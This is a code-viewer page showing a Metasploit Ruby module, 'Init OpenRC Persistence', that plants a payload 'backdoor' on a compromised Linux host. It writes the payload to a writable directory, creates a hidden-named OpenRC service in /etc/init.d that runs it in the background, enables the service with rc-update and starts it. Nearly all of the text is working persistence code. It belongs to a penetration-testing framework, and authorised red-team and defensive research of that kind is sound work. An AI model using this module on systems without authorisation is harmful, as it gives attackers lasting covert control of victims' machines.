Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_openrc.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/service_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Init OpenRC Persistence',
23
'Description' => %q{
24
This module will create a service on the box via OpenRC, and mark it for auto-restart.
25
We need enough access to write service files and potentially restart services.
26
Verified against alpine 3.21.2
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'h00die',
31
],
32
'Platform' => ['unix', 'linux'],
33
'Targets' => [
34
['Automatic', {}]
35
],
36
'DefaultTarget' => 0,
37
'Arch' => [
38
ARCH_CMD,
39
ARCH_X86,
40
ARCH_X64,
41
ARCH_ARMLE,
42
ARCH_AARCH64,
43
ARCH_PPC,
44
ARCH_MIPSLE,
45
ARCH_MIPSBE
46
],
47
'References' => [
48
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
49
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
50
['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
51
['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
52
['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
53
],
54
'SessionTypes' => ['shell', 'meterpreter'],
55
'Notes' => {
56
'Stability' => [CRASH_SAFE],
57
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
58
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
59
},
60
'DisclosureDate' => '2007-04-05' # openrc release date
61
)
62
)
63
64
register_options(
65
[
66
OptString.new('SERVICE', [false, 'Name of service to create']),
67
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
68
]
69
)
70
register_advanced_options(
71
[
72
OptBool.new('EnableService', [true, 'Enable the service', true])
73
]
74
)
75
end
76
77
def check
78
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
79
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
80
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
81
return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
82
return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
83
84
return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')
85
86
CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
87
end
88
89
def install_persistence
90
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
91
backdoor = write_shell(writable_dir)
92
93
path = backdoor.split('/')[0...-1].join('/')
94
file = backdoor.split('/')[-1]
95
96
openrc(path, file)
97
end
98
99
def write_shell(path)
100
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
101
backdoor = "#{path}/#{file_name}"
102
vprint_status("Writing backdoor to #{backdoor}")
103
104
if payload.arch.first == 'cmd'
105
write_file(backdoor, payload.encoded)
106
chmod(backdoor, 0o755)
107
else
108
upload_and_chmodx(backdoor, generate_payload_exe)
109
end
110
111
@clean_up_rc << "rm #{backdoor}\n"
112
113
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
114
backdoor
115
end
116
117
def openrc(backdoor_path, backdoor_file)
118
if payload.arch.first == 'cmd'
119
script = %(#!/sbin/openrc-run
120
name=#{backdoor_file}
121
command=/bin/sh
122
command_args="#{backdoor_path}/#{backdoor_file}"
123
pidfile="/run/${RC_SVCNAME}.pid"
124
command_background="yes"
125
)
126
else
127
script = %(#!/sbin/openrc-run
128
name=#{backdoor_file}
129
command="#{backdoor_path}/#{backdoor_file}"
130
command_args=""
131
pidfile="/run/${RC_SVCNAME}.pid"
132
command_background="yes"
133
)
134
end
135
136
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
137
service_path = "/etc/init.d/#{service_filename}"
138
vprint_status("Writing service: #{service_path}")
139
begin
140
upload_and_chmodx(service_path, script)
141
@clean_up_rc << "rm #{service_path}\n"
142
rescue Rex::Post::Meterpreter::RequestError
143
print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
144
end
145
146
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)
147
148
if datastore['EnableService']
149
vprint_status('Enabling service')
150
cmd_exec("rc-update add '#{service_filename}'")
151
@clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
152
end
153
154
print_good('Starting service')
155
cmd_exec("'#{service_path}' start")
156
end
157
end
158
159